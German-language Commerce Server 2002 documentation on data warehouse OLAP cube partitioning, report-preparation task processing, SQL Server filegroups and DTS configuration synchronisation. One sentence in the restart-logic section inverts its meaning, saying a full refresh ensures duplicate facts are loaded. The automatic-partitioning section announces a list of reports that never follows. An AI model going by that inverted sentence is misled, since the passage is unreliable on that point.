Im Rahmen der Phase zur Verarbeitung gespeicherter Prozeduren führt der Berichtsvorbereitungstask die gespeicherte Prozedur csdw_spDefineOLAPPartitions aus. Diese gespeicherte Prozedur ist die grundlegende Komponente der automatischen Partitionierungsfunktion. Die Prozedur übernimmt die Untersuchung der verschiedenen Fakttabellen und trifft die Entscheidung, ob neue Partitionen zur Speicherung der seit dem letzten Verarbeitungsdurchlauf hinzugefügten Daten benötigt werden.

Die Verarbeitung gespeicherter Prozeduren umfasst die folgenden Schritte:

  • Wenn neue Partitionen benötigt werden, fügt die gespeicherte Prozedur diese zur Tabelle CubePartitionInfo hinzu, in der die neuen Daten erfasst werden.
  • Durch den Berichtsvorbereitungstask wird dann die gespeicherte Prozedur csdw_spEnumOLAPPartitions ausgeführt, durch die eine Liste aller Cubepartitionen zurückgegeben wird, die vor der Verarbeitung auf die Cubes angewendet werden muss.
  • Diese Partitionen werden anschließend auf die OLAP-Datenbank angewendet und in den nachfolgenden Phasen des Berichtsvorbereitungstasks verarbeitet.
  • Bei einer Änderung der Partitionsfilterung wird der Cube abgeschnitten, und sämtliche Daten für alle Partitionen werden aktualisiert.

Siehe auch

Automatische Partitionierung

Ändern bestehender Partitionen

Partitionierungsschlüssel

Data Warehouse-Cube-Tabellen


Automatische Partitionierung

Für alle im Lieferumfang von Commerce Server 2002 enthaltenen Cubes ist eine automatische Partitionierung möglich. Bei Ausführung des Berichtsvorbereitungstasks werden die Daten der Fakttabelle für die Cubes unter Verwendung der Informationen aus der Tabelle CubeProcInfo analysiert. Wenn in den Tabellen PartitioningKeySource Einträge vorhanden sind, deren Werte für PartitioningKey größer als die der bestehenden Partitionen sind, werden entsprechend dem Speicherbedarf für die neuen Daten neue Partitionen angelegt. Standardmäßig wird durch neue Partitionen ein Bereich von 20 Millionen Schlüsselwerten abgedeckt. Dieser Wert kann durch Änderung des Wertes PartitionSize für den entsprechenden Cube in der Tabelle CubeProcInfo angepasst werden. Die Änderung hat keinen Einfluss auf bereits existierende Kataloge. Die folgenden Berichte sind von der Löschung detaillierter Daten betroffen:


Ändern bestehender Partitionen

Die automatische Partitionierung läuft in zwei Phasen ab. Während der ersten Phase wird durch den Berichtsvorbereitungstask die gespeicherte Prozedur csdw_spDefineOLAPPartitions ausgeführt, um neue Partitionsdefinitionen in der Tabelle CubePartitionInfo zu erstellen. In der zweiten Phase werden durch den Berichtsvorbereitungstask die definierten Partitionen mithilfe der gespeicherten Prozedur csdw_spEnumOLAPPartitions aufgelistet. Außerdem werden alle erforderlichen Aktionen ausgeführt, damit die OLAP-Datenbank diesem Partitionierungsschema entspricht.

Die einfachste Methode zum Ändern des Partitionierungsschemas für einen Cube besteht darin, die Einträge für diesen Cube aus der Tabelle CubePartitionInfo zu löschen und bei der nächsten Ausführung des Berichtsvorbereitungstasks neu definieren zu lassen. Neue Partitionsdefinitionen für alle PartitioningKey-Werte in der Tabelle PartitioningKeySource werden erstellt. Jede Partition erstreckt sich dabei über einen bestimmten Bereich von PartitionSize-Werten.

Sie können Partitionen ebenfalls manuell definieren, indem Sie Zeilen direkt in die Tabelle CubePartitionInfo einfügen. Beachten Sie, dass MinVal und MaxVal dem Datentyp des Partitionierungsschlüssels und LastKeyProcessed dem Datentyp des Verarbeitungsschlüssels entsprechen muss.

Es kann verschiedene Gründe für eine Neupartitionierung geben. Einer dieser Gründe besteht darin, dass nach dem Löschen größerer Datenmengen aus dem Data Warehouse einige Partitionen keine Daten mehr enthalten.

Beachten Sie dabei: Wenn Sie eine Partition so ändern, dass Daten für die Partition neu geladen werden müssen, müssen Sie entweder den DTS-Berichtsvorbereitungstask im Modus Vollständig oder Aktualisieren ausführen oder den Wert von LastKeyProcessed in der Tabelle CubeProcInfo für die Partition in NULL ändern.


Partitionierungsschlüssel

Mithilfe der Spalte PartitioningKey legt die automatische Partitionierungsfunktion je nach Bedarf neue Partitionen in der OLAP-Datenbank an. Die Werte in der Spalte PartitioningKey müssen sich dabei in einen 8-Byte-Ganzzahlwert und wieder zurück in den Basistyp konvertieren lassen. Die Tabelle PartitioningKeySource kann dabei die Fakttabelle oder eine andere Tabelle sein, die eine Obermenge von Schlüsselwerten aus der Fakttabelle enthält, beispielsweise eine Tabelle mit Import-Batch-IDs. Obwohl die Tabelle PartitioningKeySource nicht mit der Fakttabelle des Cubes identisch sein muss, ist es unabdingbar, dass eine Spalte mit dem Namen und Datentyp von PartitioningKey in der Fakttabelle enthalten ist.


Data Warehouse-Cube-Tabellen

Das Verhalten bei der Verarbeitung von Cubes wird durch zwei im Data Warehouse enthaltene Tabellen gesteuert: CubeProcInfo und CubePartitionInfo. Die Tabelle CubeProcInfo enthält cubebezogene Daten und wird zur Definition der Partitionen des Cubes verwendet. Die Tabelle CubePartitionInfo definiert die eigentlichen Partitionen innerhalb des Cubes und dient ebenfalls dazu, den Verarbeitungsstatus der Daten im Cube zu verfolgen.

Weitere Informationen zur Tabelle CubeProcInfo finden Sie im Thema Die Tabelle "CubeProcInfo".

Weitere Informationen zur Tabelle CubePartitionInfo finden Sie im Thema Die Tabelle "CubePartitionInfo".

Siehe auch

OLAP-Cubes

ETL-Prozess für den DTS-Berichtsvorbereitungstask


Verarbeitung von OLAP-Dimensionen

Nach der Ausführung gespeicherter Prozeduren und der Definition der Cubepartitionen werden die OLAP-Dimensionen verarbeitet. Dazu wird die Tabelle DimProcInfo abgefragt, und alle Dimensionen werden verarbeitet, wobei der Wert für ProcessingEnabled der Reihe nach für alle Dimensionen auf 1 gesetzt wird.

Weitere Informationen zur Tabelle DimProcInfo finden Sie im Thema Die Tabelle "DimProcInfo".

Wenn die Verarbeitungsoption für den Berichtsvorbereitungstask auf Vollständig festgelegt wurde, werden die Dimensionen mit dem Verarbeitungsmodus processFull verarbeitet. Dies bewirkt, dass die Dimensionen neu erstellt und die entsprechenden Daten aktualisiert werden. Wenn zum Entfernen der Dimensionselemente der DTS-Datenlöschungstask verwendet wird, muss der DTS-Berichtsvorbereitungstask im Modus Vollständig ausgeführt werden, damit gewährleistet wird, dass alte Dimensionselemente komplett entfernt werden. Anderenfalls kann es bei der Dimensionserstellung zu Fehlern durch doppelte Namen kommen, falls alte Dimensionswerte erneut in das Data Warehouse importiert werden.

Siehe auch

ETL-Prozess für den DTS-Berichtsvorbereitungstask


Verarbeitung physischer Cubepartitionen

Anschließend werden die Partitionen verarbeitet, die in der Tabelle CubePartitionInfo für jeden Cube aus der Tabelle CubeProcInfo definiert wurden. Die Tabelle CubeProcInfo wird anhand einer Liste eindeutiger ProcessingPass-Werte abgefragt. Für jeden ausgegebenen ProcessingPass-Wert wird die gespeicherte Prozedur csdw_spGetCubeProcessingPass aufgerufen. Durch diese gespeicherte Prozedur wird eine Liste mit Partitionen für Cubes in diesem Durchlauf zurückgegeben, bei denen das Flag ProcessingEnabled auf 1 gesetzt ist.

Wenn der Optimierungswert in der Tabelle CubeProcInfo für diese Partition nicht NULL ist, werden durch den DTS-Task entsprechend der angegebenen prozentualen Optimierung Aggregationen für den Cube erstellt und angewandt. Wenn beispielsweise der Optimierungswert auf 15 gesetzt wurde, werden Aggregationen mit dem Ziel eines 15%igen Leistungsgewinns erstellt. Alle Partitionen werden dann unter Verwendung der DSO-Verarbeitungsoption processFull verarbeitet. Durch diese Vorgehensweise wird das Schema neu erstellt, und die Cubedaten werden aktualisiert.

Die Partitionen für die in der Tabelle CubeProcInfo aufgeführten Cubes mit dem Flag IncEnabled werden wie folgt verarbeitet:

  • Wenn für IncEnabled 1 festgelegt ist, wird der Cube inkrementell verarbeitet.

    Der Cube wird also inkrementell verarbeitet, wenn der Berichtsvorbereitungstask im inkrementellen Modus ausgeführt wird. Bei einer inkrementellen Verarbeitung wird eine temporäre Partition erstellt und nur mit den Zeilen gefüllt, die seit der letzten Ausführung des Berichtsvorbereitungstasks in das Data Warehouse geladen wurden. Diese temporäre Partition wird anschließend mit dem Hauptcube zusammengeführt.

  • Wenn für IncEnabled 0 festgelegt ist, werden die Daten für die Partitionen des Cubes bei Ausführung des Berichtvorbereitungstasks immer vollständig aktualisiert.

Im Modus Daten aktualisieren oder Inkrementell können externe Prozesse, wie z. B. das Modul "Berichte" von Business Desk, einen Cube während seiner Verarbeitung normalerweise abfragen. Im Modus Vollständig kann eine Abfrage durch externe Prozesse erst nach Abschluss der Verarbeitung des Cubes erfolgen. Die Ursache dafür liegt darin, dass bei einer vollständigen Neuerstellung von Dimensionen der bereits bestehende Cube nicht mehr gültig ist.

Verarbeitungsschlüssel

Anhand des Wertes ProcessingKey wird bei der inkrementellen Verarbeitung von Cubes bestimmt, ob neue Daten zu einer Fakttabelle hinzugefügt, jedoch noch nicht in einen Cube geladen wurden. Die Werte für ProcessingKey bei neu in die Tabelle ProcessingKeySource eingefügten Zeilen und der Fakttabelle des Cubes müssen größer als die bestehenden Werte ProcessingKey sein. Die Tabelle ProcessingKeySource kann dabei die Fakttabelle oder eine andere Tabelle sein, die eine Obermenge von Schlüsselwerten aus der Fakttabelle enthält.

Siehe auch

ETL-Prozess für den DTS-Berichtsvorbereitungstask


Neustarten der Logik für den Berichtsvorbereitungstask

Die Verarbeitungszustände von Dimensionen werden in der Tabelle DimProcInfo durch die folgenden Spalten verfolgt: LastSuccessfulDate, LastProcessedDate, LastProcessedStatus und LastProcessedDescr. Diese Spalten werden bei jeder Verarbeitung der Dimension durch den Berichtsvorbereitungstask aktualisiert. Bei einer erfolgreichen Verarbeitung wird LastProcessedStatus auf null gesetzt. Für LastProcessedDescr wird in diesem Fall eine entsprechende lokalisierte Zeichenfolge zur Kennzeichnung der erfolgreichen Verarbeitung gesetzt. Diese Werte werden durch die gespeicherte Prozedur csdw_SetDimProcessingStatus festgelegt.

Die Verarbeitungszustände von Partitionen werden in der Tabelle CubePartitionInfo durch die folgenden Spalten verfolgt: ProcessingState, LastSuccessfulDate, LastProcessedDate, LastProcessedStatus, LastProcessedDescr und LastKeyProcessed. Vor der Initiierung eines Partitionierungsvorgangs durch den Berichtsvorbereitungstask werden die Spalten ProcessingState und LastKeyProcessed abgefragt.

Wenn der Task im inkrementellen Modus ausgeführt wird und für den Cube die inkrementelle Verarbeitung aktiviert ist (entsprechend der Angabe in der Spalte IncEnabled), wird die Spalte ProcessingState durch den Task untersucht. Falls diese Spalte auf null gesetzt ist, verarbeitet der Task den Cube inkrementell und lädt dabei nur die Fakten, deren Wert LastKeyProcessed größer ist als der aus der Tabelle CubePartitionInfo abgerufene Wert. Falls der Wert für ProcessingState auf 1 gesetzt wurde, konnte durch den Task nicht bestimmt werden, ob die letzte Cubeverarbeitung erfolgreich abgeschlossen wurde. In diesem Fall muss der Berichtsvorbereitungstask eine vollständige Datenaktualisierung der Partition durchführen, um sicherzustellen, dass doppelte Fakten in den Cube geladen werden.

Vor der Verarbeitung einer Partition in einem beliebigen Modus wird die gespeicherte Prozedur csdw_InitPartitionProcessing für den Cube ausgeführt. Damit wird die Spalte ProcessingState auf 1 gesetzt. Nach der Verarbeitung eines Cubes wird die Angabe über den Erfolg oder Misserfolg des Verarbeitungsvorgangs durch die gespeicherte Prozedur csdw_SetPartitionProcessingStatus in die Datenbank geschrieben. Diese Prozedur setzt die Spalte ProcessingState auf null, LastKeyProcessed auf den momentanen Höchstwert von ProcessingKey sowie die Spalten LastSuccessfulDate, LastProcessedDate, LastProcessedStatus, LastProcessedDescr auf ihre entsprechenden Werte.

Treten beim DTS-Berichtsvorbereitungstask bestimmte Fehler auf, die als Fehler gekennzeichnet sind, die eine Wiederholung zulassen, wird ein erneuter Verarbeitungsvorgang gestartet. In einem solchen Fall startet der Berichtsvorbereitungstask nach Ablauf des konfigurierten Wiederholungsintervalls den Verarbeitungsvorgang neu, und zwar so lange, bis die festgelegte Höchstzahl an Wiederholungen erreicht ist.

Die Liste der Fehler, bei deren Auftreten der Berichtsvorbereitungstask den Verarbeitungsvorgang wiederholt, ist als Wert "Retryable Errors" für REG_MULTI_SZ unter dem Registrierungsschlüssel HKLM\SOFTWARE\MICROSOFT\Commerce Server\PostImportDTS gespeichert. Sie können dieser Liste Einträge hinzufügen bzw. daraus entfernen, um das Wiederholverhalten des Berichtsvorbereitungstasks zu ändern.

Wenn der Registrierungswert vorhanden ist, werden beim Berichtsvorbereitungstask die als "Retryable Errors" angegebenen Werte verwendet. Andernfalls erstellt der Berichtsvorbereitungstask den Registrierungswert und füllt ihn mit einem Standardsatz an Fehlercodes auf.

In der folgenden Tabelle sind die im Registrierungsschlüssel initialisierten HRESULTS aufgeführt, bei denen der Berichtsvorbereitungstask einen erneuten Verarbeitungsvorgang startet:

HRESULT | Beschreibung
2147217495 | Asynchrones ausführbares Objekt meldet Fehler bei DSO-Commit (Data Source Object).
2147221457 | Das DSO kann den Windows NT-Server nicht finden.
2147221455 | Das DSO kann keine Verbindung zu Analysis Services herstellen.
231 | Das DSO kann keine Verbindung zur Analysis-Datenquelle (zum Beispiel der Data Warehouse SQL Server-Datenbank) herstellen.
2147221468 | Das Analysis-Objekt ist gesperrt.
2147467259 | Der dbnetlib-Dienst kann keine Verbindung zum SQL Server-Computer herstellen.
2147221386 | Ein ODBC-Fehler ist aufgetreten. (Dieser Fehler tritt auf, wenn SQL Server während der Dimensions- oder Cubeverarbeitung nicht mehr reagiert.)
2147221453 | Der Task kann keine Verbindung zum Repository herstellen. (Dieser Fehler tritt auf, wenn Sie ein SQL Server-Repository verwenden und SQL Server während der Taskverarbeitung nicht mehr reagiert.)
2147221387 | Es ist ein Netzwerkfehler aufgetreten.
2147221424 | Das DSO kann keine Verbindung zu Analysis Services herstellen.

Siehe auch

ETL-Prozess für den DTS-Berichtsvorbereitungstask


Ablaufverfolgung des Berichtsvorbereitungstasks

Der Berichtsvorbereitungstask protokolliert Meldungen zur Ablaufverfolgung mithilfe der Funktion OutputDebugString. Mit Debuggingtools zum Erfassen und Anzeigen entsprechender Debugzeichenfolgen können die vom Berichtsvorbereitungstask ausgeführten Systemvorgänge untersucht werden. Die Vorgehensweise bei diesem Task unterscheidet sich von anderen DTS-Tasks, die zum Anzeigen von Meldungen zur Ablaufverfolgung auf das Dienstprogramm CSDWDbgSrv.EXE zurückgreifen.

Siehe auch

ETL-Prozess für den DTS-Berichtsvorbereitungstask


Erstellen neuer Data Warehouse-Dateigruppen

Mithilfe von SQL Server-Dateigruppen können Sie die Leistung des Data Warehouse steigern, indem Sie die Daten auf mehrere Laufwerke verteilen und für die Abfrageverarbeitung parallele Threads verwenden. Darüber hinaus vereinfachen Dateigruppen die Verwaltung der Data Warehouse-Datenbanken.

SQL Server verfügt über eine primäre Dateigruppe, die die primäre Datendatei mit den Systemtabellen enthält. Sie können benutzerdefinierte Dateigruppen mit Datendateien erstellen, die für Zuordnungs- und Administrationszwecke zusammengefasst werden.

Sie können mehrere Datendateien auf unterschiedliche Laufwerke und eine benutzerdefinierte Dateigruppe zur Aufnahme der Dateien erstellen. Legen Sie beim Erstellen von Dateigruppen möglichst eine Datei pro physischem Laufwerk an. Mithilfe von Dateigruppen organisieren Sie Ihre Datendateien, etwa um häufig abgefragte Dateien von solchen zu trennen, die häufig verändert werden.

SQL Server legt eine Dateigruppe als Standarddateigruppe fest. Die Standarddateigruppe wird, sofern Sie nichts anderes angeben, bei der Erstellung der Datenbank als die primäre Dateigruppe festgelegt. Sie enthält die Seiten aller Tabellen und Indizes, bei deren Erstellung keine spezielle Dateigruppe angegeben wird.

Wenn die Standarddateigruppe als primäre Dateigruppe übernommen wird, müssen Sie die primäre Dateigruppe entsprechend groß anlegen oder sie automatisch vergrößern lassen, damit immer genügend Speicherplatz vorhanden ist. Die primäre Dateigruppe muss groß genug sein, um alle Systemtabellen sowie alle Tabellen und Indizes aufzunehmen, die keiner benutzerdefinierten Dateigruppe zugeordnet sind.

Wenn in der primären Dateigruppe kein Speicherplatz mehr vorhanden ist, können Sie den Systemtabellen keine Daten mehr hinzufügen. Ist dagegen in einer benutzerdefinierten Dateigruppe kein Speicherplatz mehr vorhanden, sind davon nur die Benutzerdateien betroffen, die dieser spezifischen Dateigruppe zugeordnet sind.

Benutzerdefinierte Dateigruppen steigern die Leistung, indem die Datenlast gleichmäßig auf mehrere Laufwerke verteilt wird und parallele Threads zur Verbesserung des Datenzugriffs verwendet werden. Beim Erstellen einer Tabelle können Sie sie einer benutzerdefinierten Dateigruppe zuweisen. Wenn Daten in die Dateigruppe geschrieben werden, werden alle Dateien parallel aufgefüllt.

Jede Datei wird physisch auf einem Laufwerk oder einer Gruppe von Laufwerken abgelegt. SQL Server verwaltet eine Dateizuordnungstabelle, in der jedes Datenbankobjekt seinem Speicherort auf dem Laufwerk zugeordnet ist. Wenn beispielsweise eine Datei in einer Dateigruppe erstellt wird, die vier Laufwerke umspannt, weist eine Dateizuordnungstabelle auf den Speicherort der Daten auf allen vier physischen Laufwerken. Wenn zwei Dateien in einer Dateigruppe erstellt werden, die vier Laufwerke umspannt, weisen zwei Dateizuordnungstabellen (eine für jede Datei) auf den Speicherort der Daten auf allen vier physischen Laufwerken.

Dateigruppen verbessern mithilfe paralleler Threads den Datenzugriff. Beim sequenziellen Zugriff auf eine Tabelle erstellt das System für jede Datei parallel einen eigenen Thread. Wenn das System in einer Dateigruppe mit vier Dateien nach einer Tabelle sucht, liest es die Daten parallel mithilfe vier separater Threads. Im Allgemeinen steigert die Verwendung mehrerer Dateien auf unterschiedlichen Laufwerken die Leistung. Zu viele Dateien in einer Dateigruppe führen allerdings u. U. zu zu vielen parallelen Threads und damit zu Leistungsengpässen.

Durch die Verwendung von Dateigruppen können Sie nicht nur die Datenlast zwecks höherer Leistung verteilen, sondern auch die Wartung vereinfachen.

So vereinfachen Sie die Wartung mithilfe von Dateigruppen:

  • Beziehen Sie in die Sicherung oder Wiederherstellung nicht die gesamte Datenbank ein, sondern einzelne Dateien oder Dateigruppen. Das Sichern von Dateien oder Dateigruppen ist u. U. bei großen Datenbanken erforderlich, um eine effektive Sicherungs- und Wiederherstellungsstrategie zu gewährleisten.
  • Fassen Sie Tabellen und Indizes mit ähnlichen Verwaltungsanforderungen in den gleichen Dateigruppen zusammen. Angenommen, Sie müssten einige Objekte öfter verwalten als andere. Indem Sie zwei Dateigruppen erstellen und ihnen Tabellen zuweisen, können Sie tägliche Verwaltungsaufgaben anhand der Tabellen einer Tagesgruppe und wöchentliche Verwaltungsaufgaben anhand der Tabellen einer Wochengruppe ausführen. Dadurch entstehen weniger Konflikte beim Zugriff der beiden Dateigruppen auf das Laufwerk.
  • Weisen Sie eine einzelne Tabelle mit hohem Verwaltungsaufwand einer eigenen Dateigruppe zu. Eine Tabelle, die ständig aktualisiert wird, muss u. U. unabhängig von der gesamten Datenbank gesichert und wiederhergestellt werden.

Hinweise

  • Für jede Datenbank können höchstens 256 Dateigruppen erstellt werden.
  • Dateigruppen dürfen nur Datendateien enthalten.
  • Transaktionsprotokolle können nicht Teil einer Dateigruppe sein.
  • Dateigruppen können nicht unabhängig von Datenbankdateien erstellt werden. Eine Dateigruppe ist ein administratives Mittel, mit dem Dateien innerhalb einer Datenbank in Gruppen zusammengefasst werden.

Tipps für das Erstellen von Dateigruppen

Vor dem Erstellen von Dateigruppen müssen Sie sich eingehend mit der Datenbankstruktur, den Daten, den Transaktionen und den Abfragen auseinandersetzen, um festzulegen, wie Tabellen und Indizes am besten in spezifische Dateigruppen abgelegt werden.

Beim Erstellen von Dateigruppen sollten Sie folgende Punkte beachten:

  • Bestimmen Sie die Zahl der Dateigruppen nicht anhand von Leistungserwägungen, sondern von Verwaltungsanforderungen.
In vielen Fällen bietet der Rückgriff auf die RAID-Striping-Fähigkeiten einen ähnlichen Leistungszuwachs, wie er mit Dateigruppen erreicht wird, ohne den zusätzlichen Aufwand, der durch das Definieren und Verwalten der Gruppen entsteht.
  • Ändern Sie bei Verwendung von Dateigruppen die Standarddateigruppe.
Wenn Sie für die Datenbank mehrere Dateigruppen erstellen, sollten Sie eine als Standarddateigruppe festlegen. Dadurch wird verhindert, dass die Nutzung der Systemtabellen in der primären Dateigruppe aufgrund unerwartet stark anwachsender Tabellen eingeschränkt wird.
  • Denken Sie daran, dass Dateigruppen keine Fehlertoleranz bieten.
Um Fehlertoleranz zu implementieren, können Sie jedes Laufwerk mithilfe von RAID 1 spiegeln. Das ist allerdings eine kostspielige Option.
  • Kombinieren Sie zur Optimierung Ihrer Datenbanken Dateigruppen mit hardwarebasierten RAID-Lösungen.
Sie haben die Möglichkeit, Dateigruppen mit Hardware-RAID-Lösungen zu kombinieren. Richten Sie dazu zunächst Hardware-Striping ein, und verteilen Sie dann die Daten mithilfe von Dateigruppen auf mehrere Hardware-Stripe-Gruppen. Die jeweils für eine Datei verwendeten separaten Threads bieten parallelen Zugriff, und die Datenlast wird zur Verminderung von Zugriffskonflikten auf mehrere Laufwerke verteilt.

So erstellen Sie eine neue Datenbank in einer Dateigruppe

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Klicken Sie mit der rechten Maustaste auf Datenbanken, und klicken Sie dann auf Neue Datenbank.
  3. Geben Sie im Feld Name des Bereichs Datenbankeigenschaften einen Namen für die neue Datenbank ein.
Hinweis
  • Die primäre Datenbankdatei und die primäre Transaktionsprotokolldatei werden erstellt, indem der von Ihnen angegebene Datenbankname als Präfix vorangestellt wird (Beispiel: newdb_Data.mdf und newdb_Log.ldf). Die Anfangsgröße der Datenbank- und der Transaktionsprotokolldatei ist identisch mit der für die Modelldatenbank angegebene Standardgröße. Die Primärdatei enthält die Systemtabellen für die Datenbank.
  1. Klicken sie auf der Registerkarte Datendateien auf die Auslassungsschaltfläche neben der ersten offenen Position in der Liste Dateiname.
  2. Navigieren Sie im Dialogfeld Datenbankdatei suchen zum Speicherort der neuen Datenbankdatei, geben Sie im Feld Dateiname den Namen der neuen Datenbankdatei ein, und klicken Sie dann auf OK.
  3. Gehen Sie im Dialogfeld Datenbankeigenschaften auf der Registerkarte Datendateien folgendermaßen vor:
    Funktion | Aktion
    Dateiname | Geben Sie den Namen der Datenbankdatei ein.
    Verzeichnis | Geben Sie den Speicherort der Datenbankdatei ein, oder klicken Sie auf die Schaltfläche mit den Auslassungspunkten, um zum Speicherort zu navigieren.
    Anfangsgröße (MB) | Geben Sie die Anfangsgröße der Datenbankdatei in MB ein.
    Dateigruppe | Geben Sie den Namen der Dateigruppe ein, der die Datenbankdatei angehören soll.
  4. Klicken Sie auf OK.

Die Datenbank wird erstellt und die neue Datendatei der angegebenen Dateigruppe zugeordnet.


Ausführen des DTS-Konfigurationssynchronisations-Tasks

Der DTS-Konfigurationssynchronisations-Task wird zum Import der Konfigurationsdaten der Site aus der Verwaltungsdatenbank in das Data Warehouse verwendet. (Dadurch unterscheidet sich dieser Task von der Funktion der Schaltfläche Werte synchronisieren im Dialogfeld Eigenschaften von <Anwendung>. Wenn Sie auf die genannte Schaltfläche klicken, liest Commerce Server die Werte aus der IIS-Metabasis in die Verwaltungsdatenbank ein und überträgt sie anschließend aus der Verwaltungsdatenbank in das Data Warehouse. Weitere Informationen finden Sie unter Konfigurieren einer Anwendung.)

Außer der Verwendung des DTS-Konfigurationssynchronisations-Tasks zum Import von Konfigurationsdaten der Site in das Data Warehouse können Sie ebenfalls durch folgende Verfahren zum selben Ergebnis gelangen:

  • Konfigurieren der Data Warehouse-Ressource
  • Entpacken einer Site.

Im Data Warehouse werden die Konfigurationsdaten der Site gespeichert. Unter anderem werden Topologieeinstellungen der Site gespeichert, sodass diese nicht aus der Verwaltungsdatenbank ausgelesen werden müssen.

Sie können das Data Warehouse wahlweise mit einer einzelnen Site oder mit sämtlichen Sites des Data Warehouse synchronisieren. Der Synchronisationstask muss dabei vor den Import- oder Löschtasks ausgeführt werden.

Hinweis

  • Nach dem Start kann dieser Task nicht mehr abgebrochen werden. Sie können zwar auf Abbrechen klicken, der Task wird jedoch nicht gestoppt.

So synchronisieren Sie eine Sitekonfiguration mit dem Data Warehouse

So synchronisieren Sie mehrere Sitekonfigurationen mit dem Data Warehouse

So synchronisieren Sie eine Sitekonfiguration mit dem Data Warehouse

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Konfigurationssynchronisation (Commerce Server).
  4. Nehmen Sie im Dialogfeld Eigenschaften von DW-Synchronisierung die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Synchronisationstasks ein.
    Vorgangsebene | Wählen Sie in der Dropdownliste Siteebene aus, um eine Site mit dem Data Warehouse zu synchronisieren.
    Sitename | Wählen Sie in der Dropdownliste die Site aus, die mit dem Data Warehouse synchronisiert werden soll.
  5. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft bei Verbindungsfehlern versucht werden soll, die Verbindung mit dem Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie lange der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  6. Klicken Sie auf OK.
  7. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status der Synchronisation informiert werden, wird angezeigt. Nach Abschluss des Vorgangs wird im Dialogfeld Paketausführungsergebnisse der Hinweis angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  8. Klicken Sie auf OK und anschließend auf Fertig.

Das Data Warehouse ist nun mit der Commerce Server-Sitekonfiguration synchronisiert. Sie können jetzt die Importeigenschaften für die Webprotokolldatei konfigurieren oder Daten in das Data Warehouse importieren.

So synchronisieren Sie mehrere Sitekonfigurationen mit dem Data Warehouse

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Konfigurationssynchronisation (Commerce Server).
  4. Nehmen Sie im Dialogfeld Eigenschaften von DW-Synchronisierung die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Synchronisationstasks ein.
    Vorgangsebene | Wählen Sie aus der Dropdownliste Data Warehouse-Ebene, um alle Sites mit dem Data Warehouse zu synchronisieren.
    Data Warehouse-Name | Wählen Sie in der Dropdownliste das Data Warehouse aus, das mit den Sites synchronisiert werden soll.
  5. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sekunden) | Geben Sie an, wie lange der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  6. Klicken Sie auf OK.
  7. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status der Synchronisation informiert werden, wird angezeigt. Nach Abschluss des Vorgangs wird im Dialogfeld Paketausführungsergebnisse der Hinweis angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  8. Klicken Sie auf OK und anschließend auf Fertig.

Das Data Warehouse ist nun mit den Commerce Server-Sitekonfigurationen synchronisiert. Sie können jetzt Daten in das Data Warehouse importieren.

Siehe auch

Konfigurieren der Standardeigenschaften einer Website für den Import

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Konfigurieren einer Anwendung

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


Importieren von Daten in das Data Warehouse

Zum Importieren von Daten in das Data Warehouse verwenden Sie die DTS-Importtasks von Commerce Server. Importieren Sie Daten in der folgenden Reihenfolge in das Data Warehouse, damit zuerst Faktdaten und anschließend Dimensionsdaten importiert werden:

  • Daten aus Webprotokolldateien
  • Transaktionsdaten
  • Produktkatalogdaten

Sie können die Commerce Server DTS-Tasks für den Import der Daten manuell konfigurieren oder den Data Warehouse-Import-Assistenten verwenden. Weitere Informationen über den Assistenten finden Sie unter Data Warehouse-Import-Assistent.

Dieser Abschnitt beinhaltet folgende Themen:

  • Festlegen der in das Data Warehouse zu importierenden Daten
  • Ändern der Zeitzone und des Wochenbeginns für die importierten Daten
  • Konfigurieren der Standardeigenschaften einer Website für den Import
  • Angeben des Speicherortes einer Protokolldatei im Data Warehouse
  • Konfigurieren des DTS-Webserverprotokollimport-Tasks
  • Ausführen des DTS-Webserverprotokollimport-Tasks
  • Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site
  • Ausführen des DTS-Transaktionsdatenimport-Tasks
  • Ausführen des DTS-Produktkatalogimport-Tasks
  • Importieren von Daten mit mehreren Sprachen und Währungen
  • Importieren von Cookies
  • Wiederholen eines DTS-Tasks


Festlegen der in das Data Warehouse zu importierenden Daten

